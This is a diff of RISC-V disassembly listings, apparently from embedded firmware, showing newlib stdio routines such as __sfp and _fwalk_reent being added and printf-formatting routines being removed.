+204029ea:	00f51463          	bne	a0,a5,204029f2 <__sinit+0x32>
+204029ee:	4785                	li	a5,1
+204029f0:	cd1c                	sw	a5,24(a0)
+204029f2:	8522                	mv	a0,s0
+204029f4:	281d                	jal	20402a2a <__sfp>
+204029f6:	c048                	sw	a0,4(s0)
+204029f8:	8522                	mv	a0,s0
+204029fa:	2805                	jal	20402a2a <__sfp>
+204029fc:	c408                	sw	a0,8(s0)
+204029fe:	8522                	mv	a0,s0
+20402a00:	202d                	jal	20402a2a <__sfp>
+20402a02:	c448                	sw	a0,12(s0)
+20402a04:	4048                	lw	a0,4(s0)
+20402a06:	4601                	li	a2,0
+20402a08:	4591                	li	a1,4
+20402a0a:	3dfd                	jal	20402908 <std>
+20402a0c:	4408                	lw	a0,8(s0)
+20402a0e:	4605                	li	a2,1
+20402a10:	45a5                	li	a1,9
+20402a12:	3ddd                	jal	20402908 <std>
+20402a14:	4448                	lw	a0,12(s0)
+20402a16:	4609                	li	a2,2
+20402a18:	45c9                	li	a1,18
+20402a1a:	35fd                	jal	20402908 <std>
+20402a1c:	4785                	li	a5,1
+20402a1e:	40b2                	lw	ra,12(sp)
+20402a20:	cc1c                	sw	a5,24(s0)
+20402a22:	4422                	lw	s0,8(sp)
+20402a24:	0141                	addi	sp,sp,16
+20402a26:	8082                	ret
+20402a28:	8082                	ret
 
-20403df4 <__ssputs_r>:
-20403df4:	1101                	addi	sp,sp,-32
-20403df6:	c84a                	sw	s2,16(sp)
-20403df8:	0085a903          	lw	s2,8(a1)
-20403dfc:	cc22                	sw	s0,24(sp)
-20403dfe:	c64e                	sw	s3,12(sp)
-20403e00:	c452                	sw	s4,8(sp)
-20403e02:	ce06                	sw	ra,28(sp)
-20403e04:	ca26                	sw	s1,20(sp)
-20403e06:	c256                	sw	s5,4(sp)
-20403e08:	c05a                	sw	s6,0(sp)
-20403e0a:	842e                	mv	s0,a1
-20403e0c:	8a32                	mv	s4,a2
-20403e0e:	89b6                	mv	s3,a3
-20403e10:	0926ed63          	bltu	a3,s2,20403eaa <__ssputs_r+0xb6>
-20403e14:	00c5d783          	lhu	a5,12(a1)
-20403e18:	4807f713          	andi	a4,a5,1152
-20403e1c:	c749                	beqz	a4,20403ea6 <__ssputs_r+0xb2>
-20403e1e:	4004                	lw	s1,0(s0)
-20403e20:	498c                	lw	a1,16(a1)
-20403e22:	4858                	lw	a4,20(s0)
-20403e24:	8b2a                	mv	s6,a0
-20403e26:	40b48ab3          	sub	s5,s1,a1
-20403e2a:	448d                	li	s1,3
-20403e2c:	02e484b3          	mul	s1,s1,a4
-20403e30:	4709                	li	a4,2
-20403e32:	02e4c4b3          	div	s1,s1,a4
-20403e36:	00168713          	addi	a4,a3,1
-20403e3a:	9756                	add	a4,a4,s5
-20403e3c:	00e4f363          	bgeu	s1,a4,20403e42 <__ssputs_r+0x4e>
-20403e40:	84ba                	mv	s1,a4
-20403e42:	4007f793          	andi	a5,a5,1024
-20403e46:	c3c9                	beqz	a5,20403ec8 <__ssputs_r+0xd4>
-20403e48:	85a6                	mv	a1,s1
-20403e4a:	855a                	mv	a0,s6
-20403e4c:	35f1                	jal	20403d18 <_malloc_r>
-20403e4e:	892a                	mv	s2,a0
-20403e50:	e50d                	bnez	a0,20403e7a <__ssputs_r+0x86>
-20403e52:	47b1                	li	a5,12
-20403e54:	00fb2023          	sw	a5,0(s6)
-20403e58:	00c45783          	lhu	a5,12(s0)
-20403e5c:	557d                	li	a0,-1
-20403e5e:	0407e793          	ori	a5,a5,64
-20403e62:	00f41623          	sh	a5,12(s0)
-20403e66:	40f2                	lw	ra,28(sp)
-20403e68:	4462                	lw	s0,24(sp)
-20403e6a:	44d2                	lw	s1,20(sp)
-20403e6c:	4942                	lw	s2,16(sp)
-20403e6e:	49b2                	lw	s3,12(sp)
-20403e70:	4a22                	lw	s4,8(sp)
-20403e72:	4a92                	lw	s5,4(sp)
-20403e74:	4b02                	lw	s6,0(sp)
-20403e76:	6105                	addi	sp,sp,32
-20403e78:	8082                	ret
-20403e7a:	480c                	lw	a1,16(s0)
-20403e7c:	8656                	mv	a2,s5
-20403e7e:	9caff0ef          	jal	ra,20403048 <memcpy>
-20403e82:	00c45783          	lhu	a5,12(s0)
-20403e86:	b7f7f793          	andi	a5,a5,-1153
-20403e8a:	0807e793          	ori	a5,a5,128
-20403e8e:	00f41623          	sh	a5,12(s0)
-20403e92:	01242823          	sw	s2,16(s0)
-20403e96:	c844                	sw	s1,20(s0)
-20403e98:	9956                	add	s2,s2,s5
-20403e9a:	415484b3          	sub	s1,s1,s5
-20403e9e:	01242023          	sw	s2,0(s0)
-20403ea2:	c404                	sw	s1,8(s0)
-20403ea4:	894e                	mv	s2,s3
-20403ea6:	0129f363          	bgeu	s3,s2,20403eac <__ssputs_r+0xb8>
-20403eaa:	894e                	mv	s2,s3
-20403eac:	4008                	lw	a0,0(s0)
-20403eae:	864a                	mv	a2,s2
-20403eb0:	85d2                	mv	a1,s4
-20403eb2:	9acff0ef          	jal	ra,2040305e <memmove>
-20403eb6:	441c                	lw	a5,8(s0)
-20403eb8:	4501                	li	a0,0
-20403eba:	412787b3          	sub	a5,a5,s2
-20403ebe:	c41c                	sw	a5,8(s0)
-20403ec0:	401c                	lw	a5,0(s0)
-20403ec2:	97ca                	add	a5,a5,s2
-20403ec4:	c01c                	sw	a5,0(s0)
-20403ec6:	b745                	j	20403e66 <__ssputs_r+0x72>
-20403ec8:	8626                	mv	a2,s1
-20403eca:	855a                	mv	a0,s6
-20403ecc:	741000ef          	jal	ra,20404e0c <_realloc_r>
-20403ed0:	892a                	mv	s2,a0
-20403ed2:	f161                	bnez	a0,20403e92 <__ssputs_r+0x9e>
-20403ed4:	480c                	lw	a1,16(s0)
-20403ed6:	855a                	mv	a0,s6
-20403ed8:	3b79                	jal	20403c76 <_free_r>
-20403eda:	bfa5                	j	20403e52 <__ssputs_r+0x5e>
+20402a2a <__sfp>:
+20402a2a:	1141                	addi	sp,sp,-16
+20402a2c:	c226                	sw	s1,4(sp)
+20402a2e:	5fc0b497          	auipc	s1,0x5fc0b
+20402a32:	e324a483          	lw	s1,-462(s1) # 8000d860 <_global_impure_ptr>
+20402a36:	4c9c                	lw	a5,24(s1)
+20402a38:	c04a                	sw	s2,0(sp)
+20402a3a:	c606                	sw	ra,12(sp)
+20402a3c:	c422                	sw	s0,8(sp)
+20402a3e:	892a                	mv	s2,a0
+20402a40:	e399                	bnez	a5,20402a46 <__sfp+0x1c>
+20402a42:	8526                	mv	a0,s1
+20402a44:	3fb5                	jal	204029c0 <__sinit>
+20402a46:	04848493          	addi	s1,s1,72
+20402a4a:	4480                	lw	s0,8(s1)
+20402a4c:	40dc                	lw	a5,4(s1)
+20402a4e:	17fd                	addi	a5,a5,-1
+20402a50:	0007d663          	bgez	a5,20402a5c <__sfp+0x32>
+20402a54:	409c                	lw	a5,0(s1)
+20402a56:	cfb9                	beqz	a5,20402ab4 <__sfp+0x8a>
+20402a58:	4084                	lw	s1,0(s1)
+20402a5a:	bfc5                	j	20402a4a <__sfp+0x20>
+20402a5c:	00c41703          	lh	a4,12(s0)
+20402a60:	e739                	bnez	a4,20402aae <__sfp+0x84>
+20402a62:	77c1                	lui	a5,0xffff0
+20402a64:	0785                	addi	a5,a5,1
+20402a66:	06042223          	sw	zero,100(s0)
+20402a6a:	00042023          	sw	zero,0(s0)
+20402a6e:	00042223          	sw	zero,4(s0)
+20402a72:	00042423          	sw	zero,8(s0)
+20402a76:	c45c                	sw	a5,12(s0)
+20402a78:	00042823          	sw	zero,16(s0)
+20402a7c:	00042a23          	sw	zero,20(s0)
+20402a80:	00042c23          	sw	zero,24(s0)
+20402a84:	4621                	li	a2,8
+20402a86:	4581                	li	a1,0
+20402a88:	05c40513          	addi	a0,s0,92
+20402a8c:	9e9ff0ef          	jal	ra,20402474 <memset>
+20402a90:	02042a23          	sw	zero,52(s0)
+20402a94:	02042c23          	sw	zero,56(s0)
+20402a98:	04042423          	sw	zero,72(s0)
+20402a9c:	04042623          	sw	zero,76(s0)
+20402aa0:	40b2                	lw	ra,12(sp)
+20402aa2:	8522                	mv	a0,s0
+20402aa4:	4422                	lw	s0,8(sp)
+20402aa6:	4492                	lw	s1,4(sp)
+20402aa8:	4902                	lw	s2,0(sp)
+20402aaa:	0141                	addi	sp,sp,16
+20402aac:	8082                	ret
+20402aae:	06840413          	addi	s0,s0,104
+20402ab2:	bf71                	j	20402a4e <__sfp+0x24>
+20402ab4:	4591                	li	a1,4
+20402ab6:	854a                	mv	a0,s2
+20402ab8:	35c9                	jal	2040297a <__sfmoreglue>
+20402aba:	c088                	sw	a0,0(s1)
+20402abc:	842a                	mv	s0,a0
+20402abe:	fd49                	bnez	a0,20402a58 <__sfp+0x2e>
+20402ac0:	47b1                	li	a5,12
+20402ac2:	00f92023          	sw	a5,0(s2)
+20402ac6:	bfe9                	j	20402aa0 <__sfp+0x76>
 
-20403edc <_svfiprintf_r>:
-20403edc:	00c5d783          	lhu	a5,12(a1)
-20403ee0:	7135                	addi	sp,sp,-160
-20403ee2:	cd22                	sw	s0,152(sp)
-20403ee4:	cb26                	sw	s1,148(sp)
-20403ee6:	c94a                	sw	s2,144(sp)
-20403ee8:	c552                	sw	s4,136(sp)
-20403eea:	cf06                	sw	ra,156(sp)
-20403eec:	c74e                	sw	s3,140(sp)
-20403eee:	c356                	sw	s5,132(sp)
-20403ef0:	c15a                	sw	s6,128(sp)
-20403ef2:	dede                	sw	s7,124(sp)
-20403ef4:	dce2                	sw	s8,120(sp)
-20403ef6:	dae6                	sw	s9,116(sp)
-20403ef8:	0807f793          	andi	a5,a5,128
-20403efc:	8a2a                	mv	s4,a0
-20403efe:	892e                	mv	s2,a1
-20403f00:	84b2                	mv	s1,a2
-20403f02:	8436                	mv	s0,a3
-20403f04:	c3a1                	beqz	a5,20403f44 <_svfiprintf_r+0x68>
-20403f06:	499c                	lw	a5,16(a1)
-20403f08:	ef95                	bnez	a5,20403f44 <_svfiprintf_r+0x68>
-20403f0a:	04000593          	li	a1,64
-20403f0e:	3529                	jal	20403d18 <_malloc_r>
-20403f10:	00a92023          	sw	a0,0(s2)
-20403f14:	00a92823          	sw	a0,16(s2)
-20403f18:	e115                	bnez	a0,20403f3c <_svfiprintf_r+0x60>
-20403f1a:	47b1                	li	a5,12
-20403f1c:	00fa2023          	sw	a5,0(s4)
-20403f20:	557d                	li	a0,-1
-20403f22:	40fa                	lw	ra,156(sp)
-20403f24:	446a                	lw	s0,152(sp)
-20403f26:	44da                	lw	s1,148(sp)
-20403f28:	494a                	lw	s2,144(sp)
-20403f2a:	49ba                	lw	s3,140(sp)
-20403f2c:	4a2a                	lw	s4,136(sp)
-20403f2e:	4a9a                	lw	s5,132(sp)
-20403f30:	4b0a                	lw	s6,128(sp)
-20403f32:	5bf6                	lw	s7,124(sp)
-20403f34:	5c66                	lw	s8,120(sp)
-20403f36:	5cd6                	lw	s9,116(sp)
-20403f38:	610d                	addi	sp,sp,160
-20403f3a:	8082                	ret
-20403f3c:	04000793          	li	a5,64
-20403f40:	00f92a23          	sw	a5,20(s2)
-20403f44:	02000793          	li	a5,32
-20403f48:	02f104a3          	sb	a5,41(sp)
-20403f4c:	03000793          	li	a5,48
-20403f50:	d202                	sw	zero,36(sp)
-20403f52:	02f10523          	sb	a5,42(sp)
-20403f56:	c622                	sw	s0,12(sp)
-20403f58:	02500b93          	li	s7,37
-20403f5c:	00002a97          	auipc	s5,0x2
-20403f60:	ff0a8a93          	addi	s5,s5,-16 # 20405f4c <__sf_fake_stdout+0x20>
-20403f64:	4c05                	li	s8,1
-20403f66:	4b29                	li	s6,10
-20403f68:	8426                	mv	s0,s1
-20403f6a:	00044783          	lbu	a5,0(s0)
-20403f6e:	c399                	beqz	a5,20403f74 <_svfiprintf_r+0x98>
-20403f70:	09779c63          	bne	a5,s7,20404008 <_svfiprintf_r+0x12c>
-20403f74:	40940cb3          	sub	s9,s0,s1
-20403f78:	00940d63          	beq	s0,s1,20403f92 <_svfiprintf_r+0xb6>
-20403f7c:	86e6                	mv	a3,s9
-20403f7e:	8626                	mv	a2,s1
-20403f80:	85ca                	mv	a1,s2
-20403f82:	8552                	mv	a0,s4
-20403f84:	3d85                	jal	20403df4 <__ssputs_r>
-20403f86:	57fd                	li	a5,-1
-20403f88:	1af50263          	beq	a0,a5,2040412c <_svfiprintf_r+0x250>
-20403f8c:	5792                	lw	a5,36(sp)
-20403f8e:	97e6                	add	a5,a5,s9
-20403f90:	d23e                	sw	a5,36(sp)
-20403f92:	00044783          	lbu	a5,0(s0)
-20403f96:	18078b63          	beqz	a5,2040412c <_svfiprintf_r+0x250>
-20403f9a:	57fd                	li	a5,-1
-20403f9c:	00140493          	addi	s1,s0,1
-20403fa0:	c802                	sw	zero,16(sp)
-20403fa2:	ce02                	sw	zero,28(sp)
-20403fa4:	ca3e                	sw	a5,20(sp)
-20403fa6:	cc02                	sw	zero,24(sp)
-20403fa8:	040109a3          	sb	zero,83(sp)
-20403fac:	d482                	sw	zero,104(sp)
-20403fae:	0004c583          	lbu	a1,0(s1)
-20403fb2:	4615                	li	a2,5
-20403fb4:	8556                	mv	a0,s5
-20403fb6:	639000ef          	jal	ra,20404dee <memchr>
-20403fba:	47c2                	lw	a5,16(sp)
-20403fbc:	00148413          	addi	s0,s1,1
-20403fc0:	e531                	bnez	a0,2040400c <_svfiprintf_r+0x130>
-20403fc2:	0107f713          	andi	a4,a5,16
-20403fc6:	c709                	beqz	a4,20403fd0 <_svfiprintf_r+0xf4>
-20403fc8:	02000713          	li	a4,32
-20403fcc:	04e109a3          	sb	a4,83(sp)
-20403fd0:	0087f713          	andi	a4,a5,8
-20403fd4:	c709                	beqz	a4,20403fde <_svfiprintf_r+0x102>
-20403fd6:	02b00713          	li	a4,43
-20403fda:	04e109a3          	sb	a4,83(sp)
-20403fde:	0004c683          	lbu	a3,0(s1)
-20403fe2:	02a00713          	li	a4,42
-20403fe6:	02e68b63          	beq	a3,a4,2040401c <_svfiprintf_r+0x140>
-20403fea:	47f2                	lw	a5,28(sp)
-20403fec:	8426                	mv	s0,s1
-20403fee:	4681                	li	a3,0
-20403ff0:	4625                	li	a2,9
-20403ff2:	00044703          	lbu	a4,0(s0)
-20403ff6:	00140593          	addi	a1,s0,1
-20403ffa:	fd070713          	addi	a4,a4,-48
-20403ffe:	06e67463          	bgeu	a2,a4,20404066 <_svfiprintf_r+0x18a>
-20404002:	c68d                	beqz	a3,2040402c <_svfiprintf_r+0x150>
-20404004:	ce3e                	sw	a5,28(sp)
-20404006:	a01d                	j	2040402c <_svfiprintf_r+0x150>
-20404008:	0405                	addi	s0,s0,1
-2040400a:	b785                	j	20403f6a <_svfiprintf_r+0x8e>
-2040400c:	41550533          	sub	a0,a0,s5
-20404010:	00ac1533          	sll	a0,s8,a0
-20404014:	8fc9                	or	a5,a5,a0
-20404016:	c83e                	sw	a5,16(sp)
-20404018:	84a2                	mv	s1,s0
-2040401a:	bf51                	j	20403fae <_svfiprintf_r+0xd2>
-2040401c:	4732                	lw	a4,12(sp)
-2040401e:	00470693          	addi	a3,a4,4
-20404022:	4318                	lw	a4,0(a4)
-20404024:	c636                	sw	a3,12(sp)
-20404026:	02074963          	bltz	a4,20404058 <_svfiprintf_r+0x17c>
-2040402a:	ce3a                	sw	a4,28(sp)
-2040402c:	00044703          	lbu	a4,0(s0)
-20404030:	02e00793          	li	a5,46
-20404034:	04f71f63          	bne	a4,a5,20404092 <_svfiprintf_r+0x1b6>
-20404038:	00144703          	lbu	a4,1(s0)
-2040403c:	02a00793          	li	a5,42
-20404040:	02f71b63          	bne	a4,a5,20404076 <_svfiprintf_r+0x19a>
-20404044:	47b2                	lw	a5,12(sp)
-20404046:	0409                	addi	s0,s0,2
-20404048:	00478713          	addi	a4,a5,4 # ffff0004 <_heap_end+0x7ffe1804>
-2040404c:	439c                	lw	a5,0(a5)
-2040404e:	c63a                	sw	a4,12(sp)
-20404050:	0207c163          	bltz	a5,20404072 <_svfiprintf_r+0x196>
-20404054:	ca3e                	sw	a5,20(sp)
-20404056:	a835                	j	20404092 <_svfiprintf_r+0x1b6>
-20404058:	40e00733          	neg	a4,a4
-2040405c:	0027e793          	ori	a5,a5,2
-20404060:	ce3a                	sw	a4,28(sp)
-20404062:	c83e                	sw	a5,16(sp)
-20404064:	b7e1                	j	2040402c <_svfiprintf_r+0x150>
-20404066:	036787b3          	mul	a5,a5,s6
-2040406a:	842e                	mv	s0,a1
-2040406c:	4685                	li	a3,1
-2040406e:	97ba                	add	a5,a5,a4
-20404070:	b749                	j	20403ff2 <_svfiprintf_r+0x116>
-20404072:	57fd                	li	a5,-1
-20404074:	b7c5                	j	20404054 <_svfiprintf_r+0x178>
-20404076:	0405                	addi	s0,s0,1
-20404078:	ca02                	sw	zero,20(sp)
-2040407a:	4681                	li	a3,0
-2040407c:	4781                	li	a5,0
-2040407e:	4625                	li	a2,9
-20404080:	00044703          	lbu	a4,0(s0)
-20404084:	00140593          	addi	a1,s0,1
-20404088:	fd070713          	addi	a4,a4,-48
-2040408c:	06e67663          	bgeu	a2,a4,204040f8 <_svfiprintf_r+0x21c>
-20404090:	f2f1                	bnez	a3,20404054 <_svfiprintf_r+0x178>
-20404092:	00044583          	lbu	a1,0(s0)
-20404096:	460d                	li	a2,3
-20404098:	00002517          	auipc	a0,0x2
-2040409c:	ebc50513          	addi	a0,a0,-324 # 20405f54 <__sf_fake_stdout+0x28>
-204040a0:	54f000ef          	jal	ra,20404dee <memchr>
-204040a4:	cd11                	beqz	a0,204040c0 <_svfiprintf_r+0x1e4>
-204040a6:	00002797          	auipc	a5,0x2
-204040aa:	eae78793          	addi	a5,a5,-338 # 20405f54 <__sf_fake_stdout+0x28>
-204040ae:	8d1d                	sub	a0,a0,a5
-204040b0:	04000793          	li	a5,64
-204040b4:	00a797b3          	sll	a5,a5,a0
-204040b8:	4542                	lw	a0,16(sp)
-204040ba:	0405                	addi	s0,s0,1
-204040bc:	8d5d                	or	a0,a0,a5
-204040be:	c82a                	sw	a0,16(sp)
-204040c0:	00044583          	lbu	a1,0(s0)
-204040c4:	4619                	li	a2,6
-204040c6:	00002517          	auipc	a0,0x2
-204040ca:	e9250513          	addi	a0,a0,-366 # 20405f58 <__sf_fake_stdout+0x2c>
-204040ce:	00140493          	addi	s1,s0,1
-204040d2:	02b10423          	sb	a1,40(sp)
-204040d6:	519000ef          	jal	ra,20404dee <memchr>
-204040da:	c135                	beqz	a0,2040413e <_svfiprintf_r+0x262>
-204040dc:	00000793          	li	a5,0
-204040e0:	e795                	bnez	a5,2040410c <_svfiprintf_r+0x230>
-204040e2:	4742                	lw	a4,16(sp)
-204040e4:	47b2                	lw	a5,12(sp)
-204040e6:	10077713          	andi	a4,a4,256
-204040ea:	cf09                	beqz	a4,20404104 <_svfiprintf_r+0x228>
-204040ec:	0791                	addi	a5,a5,4
-204040ee:	c63e                	sw	a5,12(sp)
-204040f0:	5792                	lw	a5,36(sp)
-204040f2:	97ce                	add	a5,a5,s3
-204040f4:	d23e                	sw	a5,36(sp)
-204040f6:	bd8d                	j	20403f68 <_svfiprintf_r+0x8c>
-204040f8:	036787b3          	mul	a5,a5,s6
-204040fc:	842e                	mv	s0,a1
-204040fe:	4685                	li	a3,1
-20404100:	97ba                	add	a5,a5,a4
-20404102:	bfbd                	j	20404080 <_svfiprintf_r+0x1a4>
-20404104:	079d                	addi	a5,a5,7
-20404106:	9be1                	andi	a5,a5,-8
-20404108:	07a1                	addi	a5,a5,8
-2040410a:	b7d5                	j	204040ee <_svfiprintf_r+0x212>
-2040410c:	0078                	addi	a4,sp,12
-2040410e:	00000697          	auipc	a3,0x0
-20404112:	ce668693          	addi	a3,a3,-794 # 20403df4 <__ssputs_r>
-20404116:	864a                	mv	a2,s2
-20404118:	080c                	addi	a1,sp,16
-2040411a:	8552                	mv	a0,s4
-2040411c:	00000097          	auipc	ra,0x0
-20404120:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
-20404124:	57fd                	li	a5,-1
-20404126:	89aa                	mv	s3,a0
-20404128:	fcf514e3          	bne	a0,a5,204040f0 <_svfiprintf_r+0x214>
-2040412c:	00c95783          	lhu	a5,12(s2)
-20404130:	557d                	li	a0,-1
-20404132:	0407f793          	andi	a5,a5,64
-20404136:	de0796e3          	bnez	a5,20403f22 <_svfiprintf_r+0x46>
-2040413a:	5512                	lw	a0,36(sp)
-2040413c:	b3dd                	j	20403f22 <_svfiprintf_r+0x46>
-2040413e:	0078                	addi	a4,sp,12
-20404140:	00000697          	auipc	a3,0x0
-20404144:	cb468693          	addi	a3,a3,-844 # 20403df4 <__ssputs_r>
-20404148:	864a                	mv	a2,s2
-2040414a:	080c                	addi	a1,sp,16
-2040414c:	8552                	mv	a0,s4
-2040414e:	2a01                	jal	2040425e <_printf_i>
-20404150:	bfd1                	j	20404124 <_svfiprintf_r+0x248>
+20402ac8 <_fwalk_reent>:
+20402ac8:	7179                	addi	sp,sp,-48
+20402aca:	d422                	sw	s0,40(sp)
+20402acc:	d04a                	sw	s2,32(sp)
+20402ace:	ce4e                	sw	s3,28(sp)
+20402ad0:	cc52                	sw	s4,24(sp)
+20402ad2:	c85a                	sw	s6,16(sp)
+20402ad4:	c65e                	sw	s7,12(sp)
+20402ad6:	d606                	sw	ra,44(sp)
+20402ad8:	d226                	sw	s1,36(sp)
+20402ada:	ca56                	sw	s5,20(sp)
+20402adc:	892a                	mv	s2,a0
+20402ade:	8a2e                	mv	s4,a1
+20402ae0:	04850413          	addi	s0,a0,72
+20402ae4:	4981                	li	s3,0
+20402ae6:	4b05                	li	s6,1
+20402ae8:	5bfd                	li	s7,-1
+20402aea:	4404                	lw	s1,8(s0)
+20402aec:	00442a83          	lw	s5,4(s0)
+20402af0:	1afd                	addi	s5,s5,-1
+20402af2:	020ad063          	bgez	s5,20402b12 <_fwalk_reent+0x4a>
+20402af6:	4000                	lw	s0,0(s0)
+20402af8:	f86d                	bnez	s0,20402aea <_fwalk_reent+0x22>
+20402afa:	50b2                	lw	ra,44(sp)
+20402afc:	5422                	lw	s0,40(sp)
+20402afe:	5492                	lw	s1,36(sp)
+20402b00:	5902                	lw	s2,32(sp)
+20402b02:	4a62                	lw	s4,24(sp)
+20402b04:	4ad2                	lw	s5,20(sp)
+20402b06:	4b42                	lw	s6,16(sp)
+20402b08:	4bb2                	lw	s7,12(sp)
+20402b0a:	854e                	mv	a0,s3
+20402b0c:	49f2                	lw	s3,28(sp)
+20402b0e:	6145                	addi	sp,sp,48
+20402b10:	8082                	ret
+20402b12:	00c4d783          	lhu	a5,12(s1)
+20402b16:	00fb7b63          	bgeu	s6,a5,20402b2c <_fwalk_reent+0x64>
+20402b1a:	00e49783          	lh	a5,14(s1)
+20402b1e:	01778763          	beq	a5,s7,20402b2c <_fwalk_reent+0x64>
+20402b22:	85a6                	mv	a1,s1
+20402b24:	854a                	mv	a0,s2
+20402b26:	9a02                	jalr	s4
+20402b28:	00a9e9b3          	or	s3,s3,a0
+20402b2c:	06848493          	addi	s1,s1,104
+20402b30:	b7c1                	j	20402af0 <_fwalk_reent+0x28>
 
-20404152 <_printf_common>:
-20404152:	7179                	addi	sp,sp,-48
-20404154:	cc52                	sw	s4,24(sp)
-20404156:	499c                	lw	a5,16(a1)
-20404158:	8a3a                	mv	s4,a4
-2040415a:	4598                	lw	a4,8(a1)
-2040415c:	d422                	sw	s0,40(sp)
-2040415e:	d226                	sw	s1,36(sp)
-20404160:	ce4e                	sw	s3,28(sp)
-20404162:	ca56                	sw	s5,20(sp)
-20404164:	d606                	sw	ra,44(sp)
-20404166:	d04a                	sw	s2,32(sp)
-20404168:	c85a                	sw	s6,16(sp)
-2040416a:	c65e                	sw	s7,12(sp)
-2040416c:	89aa                	mv	s3,a0
-2040416e:	842e                	mv	s0,a1
-20404170:	84b2                	mv	s1,a2
-20404172:	8ab6                	mv	s5,a3
-20404174:	00e7d363          	bge	a5,a4,2040417a <_printf_common+0x28>
-20404178:	87ba                	mv	a5,a4
-2040417a:	c09c                	sw	a5,0(s1)
-2040417c:	04344703          	lbu	a4,67(s0)
-20404180:	c319                	beqz	a4,20404186 <_printf_common+0x34>
-20404182:	0785                	addi	a5,a5,1
-20404184:	c09c                	sw	a5,0(s1)
-20404186:	401c                	lw	a5,0(s0)
-20404188:	0207f793          	andi	a5,a5,32
-2040418c:	c781                	beqz	a5,20404194 <_printf_common+0x42>
-2040418e:	409c                	lw	a5,0(s1)
-20404190:	0789                	addi	a5,a5,2
-20404192:	c09c                	sw	a5,0(s1)
-20404194:	00042903          	lw	s2,0(s0)
-20404198:	00697913          	andi	s2,s2,6
-2040419c:	00091a63          	bnez	s2,204041b0 <_printf_common+0x5e>
-204041a0:	01940b13          	addi	s6,s0,25
-204041a4:	5bfd                	li	s7,-1
-204041a6:	445c                	lw	a5,12(s0)
-204041a8:	4098                	lw	a4,0(s1)
-204041aa:	8f99                	sub	a5,a5,a4
-204041ac:	04f94c63          	blt	s2,a5,20404204 <_printf_common+0xb2>
-204041b0:	04344783          	lbu	a5,67(s0)
-204041b4:	00f036b3          	snez	a3,a5
-204041b8:	401c                	lw	a5,0(s0)
-204041ba:	0207f793          	andi	a5,a5,32
-204041be:	eba5                	bnez	a5,2040422e <_printf_common+0xdc>
-204041c0:	04340613          	addi	a2,s0,67
-204041c4:	85d6                	mv	a1,s5
-204041c6:	854e                	mv	a0,s3
-204041c8:	9a02                	jalr	s4
-204041ca:	57fd                	li	a5,-1
-204041cc:	04f50363          	beq	a0,a5,20404212 <_printf_common+0xc0>
-204041d0:	401c                	lw	a5,0(s0)
-204041d2:	4611                	li	a2,4
-204041d4:	4098                	lw	a4,0(s1)
-204041d6:	8b99                	andi	a5,a5,6
-204041d8:	4454                	lw	a3,12(s0)
-204041da:	4481                	li	s1,0
-204041dc:	00c79763          	bne	a5,a2,204041ea <_printf_common+0x98>
-204041e0:	40e684b3          	sub	s1,a3,a4
-204041e4:	0004d363          	bgez	s1,204041ea <_printf_common+0x98>
-204041e8:	4481                	li	s1,0
-204041ea:	441c                	lw	a5,8(s0)
-204041ec:	4818                	lw	a4,16(s0)
-204041ee:	00f75463          	bge	a4,a5,204041f6 <_printf_common+0xa4>
-204041f2:	8f99                	sub	a5,a5,a4
-204041f4:	94be                	add	s1,s1,a5
-204041f6:	4901                	li	s2,0
-204041f8:	0469                	addi	s0,s0,26
-204041fa:	5b7d                	li	s6,-1
-204041fc:	05249863          	bne	s1,s2,2040424c <_printf_common+0xfa>
-20404200:	4501                	li	a0,0
-20404202:	a809                	j	20404214 <_printf_common+0xc2>
-20404204:	4685                	li	a3,1
-20404206:	865a                	mv	a2,s6
-20404208:	85d6                	mv	a1,s5
-2040420a:	854e                	mv	a0,s3
-2040420c:	9a02                	jalr	s4
-2040420e:	01751e63          	bne	a0,s7,2040422a <_printf_common+0xd8>
-20404212:	557d                	li	a0,-1
-20404214:	50b2                	lw	ra,44(sp)
-20404216:	5422                	lw	s0,40(sp)
-20404218:	5492                	lw	s1,36(sp)
-2040421a:	5902                	lw	s2,32(sp)
-2040421c:	49f2                	lw	s3,28(sp)
-2040421e:	4a62                	lw	s4,24(sp)
-20404220:	4ad2                	lw	s5,20(sp)
-20404222:	4b42                	lw	s6,16(sp)
-20404224:	4bb2                	lw	s7,12(sp)
-20404226:	6145                	addi	sp,sp,48
-20404228:	8082                	ret
-2040422a:	0905                	addi	s2,s2,1
-2040422c:	bfad                	j	204041a6 <_printf_common+0x54>
-2040422e:	00d40733          	add	a4,s0,a3
-20404232:	03000613          	li	a2,48
-20404236:	04c701a3          	sb	a2,67(a4)
-2040423a:	04544703          	lbu	a4,69(s0)
-2040423e:	00168793          	addi	a5,a3,1
-20404242:	97a2                	add	a5,a5,s0
-20404244:	0689                	addi	a3,a3,2
-20404246:	04e781a3          	sb	a4,67(a5)
-2040424a:	bf9d                	j	204041c0 <_printf_common+0x6e>
-2040424c:	4685                	li	a3,1
-2040424e:	8622                	mv	a2,s0
-20404250:	85d6                	mv	a1,s5
-20404252:	854e                	mv	a0,s3
-20404254:	9a02                	jalr	s4
-20404256:	fb650ee3          	beq	a0,s6,20404212 <_printf_common+0xc0>
-2040425a:	0905                	addi	s2,s2,1
-2040425c:	b745                	j	204041fc <_printf_common+0xaa>
+20402b32 <__malloc_lock>:
+20402b32:	8082                	ret
 
-2040425e <_printf_i>:
-2040425e:	7179                	addi	sp,sp,-48
-20404260:	d422                	sw	s0,40(sp)
-20404262:	d226                	sw	s1,36(sp)
-20404264:	d04a                	sw	s2,32(sp)
-20404266:	ce4e                	sw	s3,28(sp)
-20404268:	d606                	sw	ra,44(sp)
-2040426a:	cc52                	sw	s4,24(sp)
-2040426c:	ca56                	sw	s5,20(sp)
-2040426e:	c85a                	sw	s6,16(sp)
-20404270:	0185c803          	lbu	a6,24(a1)
-20404274:	07800793          	li	a5,120
-20404278:	84aa                	mv	s1,a0
-2040427a:	842e                	mv	s0,a1
-2040427c:	8932                	mv	s2,a2
-2040427e:	89b6                	mv	s3,a3
-20404280:	0107ee63          	bltu	a5,a6,2040429c <_printf_i+0x3e>
-20404284:	06200793          	li	a5,98
-20404288:	04358693          	addi	a3,a1,67
-2040428c:	0107ed63          	bltu	a5,a6,204042a6 <_printf_i+0x48>
-20404290:	1c080563          	beqz	a6,2040445a <_printf_i+0x1fc>
-20404294:	05800793          	li	a5,88
-20404298:	12f80a63          	beq	a6,a5,204043cc <_printf_i+0x16e>
-2040429c:	04240a93          	addi	s5,s0,66
-204042a0:	05040123          	sb	a6,66(s0)
-204042a4:	a815                	j	204042d8 <_printf_i+0x7a>
-204042a6:	f9d80793          	addi	a5,a6,-99
